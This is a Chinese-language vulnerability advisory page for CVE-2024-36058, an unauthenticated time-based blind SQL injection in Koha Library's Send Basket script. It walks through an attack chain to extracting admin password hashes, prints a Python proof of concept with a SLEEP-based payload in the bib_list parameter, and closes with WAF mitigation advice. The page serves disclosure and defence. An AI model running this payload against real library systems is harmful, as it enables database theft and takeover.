IPBUF安全漏洞报告
English
CVE-2024-36058 CVSS 9.8 严重

CVE-2024-36058 Koha Library SQL注入漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2024-36058
漏洞类型
SQL注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Koha Library

相关标签

SQL注入KohaCVE-2024-36058Time-Based Blind信息泄露无需认证

漏洞概述

Koha Library 23.05.10之前版本中的Send Basket功能存在严重的安全漏洞。该漏洞源于程序未对POST参数`bib_list`进行严格的输入过滤,导致基于时间的SQL注入。未经身份验证的远程攻击者可利用此漏洞构造恶意SQL语句,从数据库中窃取敏感数据,包括用户凭据和内部信息,对系统安全性构成严重威胁。

技术细节

该漏洞的具体成因位于Koha Library系统的`/cgi-bin/koha/opac-sendbasket.pl`脚本中。应用程序在处理用户提交的POST参数`bib_list`时,直接将其拼接到后端的SQL查询语句中,未能实施有效的输入过滤、转义或参数化查询机制,从而引入了SQL注入风险。攻击者无需任何用户身份认证即可发送特制的HTTP POST请求发起攻击。利用基于时间的盲注技术,攻击者可以通过构造包含数据库特定函数(如MySQL的`SLEEP()`)的恶意SQL语句,根据服务器响应时间的差异来判断SQL查询条件的真伪。通过这种逐位推测的方式,攻击者能够成功提取数据库中的表结构、字段名及敏感数据内容,如管理员密码哈希等。鉴于CVSS评分高达9.8,该漏洞利用难度低且无需用户交互,属于严重级别的安全威胁。

攻击链分析

STEP 1
侦察
攻击者识别出目标服务器正在运行受影响版本的Koha Library系统。
STEP 2
漏洞探测
攻击者向`/cgi-bin/koha/opac-sendbasket.pl`端点发送包含恶意SQL代码(如SLEEP函数)的POST请求,检查响应时间是否存在异常延迟。
STEP 3
数据窃取
确认漏洞存在后,攻击者利用基于时间的盲注技术,通过构造布尔逻辑语句逐位提取数据库中的敏感信息(如管理员账号密码)。
STEP 4
权限提升
利用获取的凭据登录系统,进一步控制图书馆管理系统。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import time def check_sqli(url): target_endpoint = f"{url}/cgi-bin/koha/opac-sendbasket.pl" # Payload testing time-based blind SQL injection # If the database takes 5 seconds to respond, the condition is likely True payload = { "bib_list": "1' AND (SELECT SLEEP(5))-- -" } try: start_time = time.time() response = requests.post(target_endpoint, data=payload, timeout=10) end_time = time.time() response_time = end_time - start_time if response_time >= 5: print(f"[+] Vulnerability detected! Response time: {response_time:.2f}s") else: print(f"[-] Not vulnerable or patched. Response time: {response_time:.2f}s") except requests.exceptions.RequestException as e: print(f"Error connecting to target: {e}") if __name__ == "__main__": target_ip = "http://127.0.0.1" # Replace with target URL check_sqli(target_ip)

影响范围

Koha Library < 23.05.10

防御指南

临时缓解措施
如果无法立即升级,建议在Web应用防火墙(WAF)中部署规则,拦截针对`opac-sendbasket.pl`接口的包含SQL关键词(如UNION, SELECT, SLEEP)的异常POST请求。同时,限制对该接口的网络访问权限,仅允许信任的IP地址访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表